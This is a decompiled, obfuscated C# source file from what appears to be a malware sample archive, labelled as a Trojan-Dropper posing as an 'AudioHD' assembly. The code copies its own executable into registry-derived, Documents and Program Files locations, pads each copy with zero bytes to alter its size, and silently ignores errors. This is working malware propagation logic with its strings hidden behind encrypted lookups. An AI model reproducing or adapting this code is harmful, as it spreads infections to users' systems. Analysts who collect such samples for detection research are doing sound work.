MalwareSourceCode/MSIL/Trojan-Dropper/Win32/S/Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024/_000E/_0004.cs

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe

using \u0001;
using \u000E;
using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

namespace \u000E
{
  internal sealed class \u0004
  {
    [NonSerialized]
    internal static \u0002 \u0001;
    private static string \u0001;

    public static void \u000F([In] string obj0)
    {
      RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(\u0004.\u0001(3226), false);
      if (registryKey == null)
        return;
      \u0004.\u000F(registryKey.GetValue(\u0004.\u0001(3275)).ToString() + \u0004.\u0001(1969), obj0);
    }

    public static void \u0010([In] string obj0)
    {
      string str1 = Environment.GetFolderPath(Environment.SpecialFolder.Personal).Replace(\u0004.\u0001(3296), \u0004.\u0001(3309));
      string str2 = \u0004.\u0001 + \u0004.\u0001(3346);
      \u0004.\u000F(str1, obj0);
      \u0004.\u000F(str2, obj0);
    }

    public static void \u0011([In] string obj0)
    {
      string str1 = \u0004.\u0001 + \u0004.\u0001(3371);
      string str2 = \u0004.\u0001 + \u0004.\u0001(3404);
      string str3 = \u0004.\u0001 + \u0004.\u0001(3445);
      \u0004.\u000F(str1, obj0);
      \u0004.\u000F(str2, obj0);
      \u0004.\u000F(str3, obj0);
    }

    public static void \u0012([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3490), obj0);

    public static void \u0013([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3519), obj0);

    public static void \u0014([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3552), obj0);

    public static void \u0015([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3577), obj0);

    public static void \u0016([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3610), obj0);

    public static void \u0017([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3647), obj0);

    public static void \u0018([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3672), obj0);

    public static void \u0019([In] string obj0) => \u0004.\u000F(\u0004.\u0001 + \u0004.\u0001(3693), obj0);

    public static void \u000F([In] string obj0, [In] string obj1)
    {
      if (!Directory.Exists(obj0))
        return;
      if (File.Exists(obj0 + obj1))
        return;
      try
      {
        File.Copy(Process.GetCurrentProcess().MainModule.FileName, obj0 + obj1, true);
        FileStream fileStream = File.OpenWrite(obj0 + obj1);
        long num1 = fileStream.Seek(0L, SeekOrigin.End);
        Decimal num2 = (Decimal) (Convert.ToInt32(obj1.Length) * 10485);
        while ((Decimal) num1 < num2)
        {
          ++num1;
          fileStream.WriteByte((byte) 0);
        }
        fileStream.Close();
      }
      catch
      {
      }
    }

    static \u0004()
    {
      \u0003.\u000F();
      \u0004.\u0001 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles);
    }
  }
}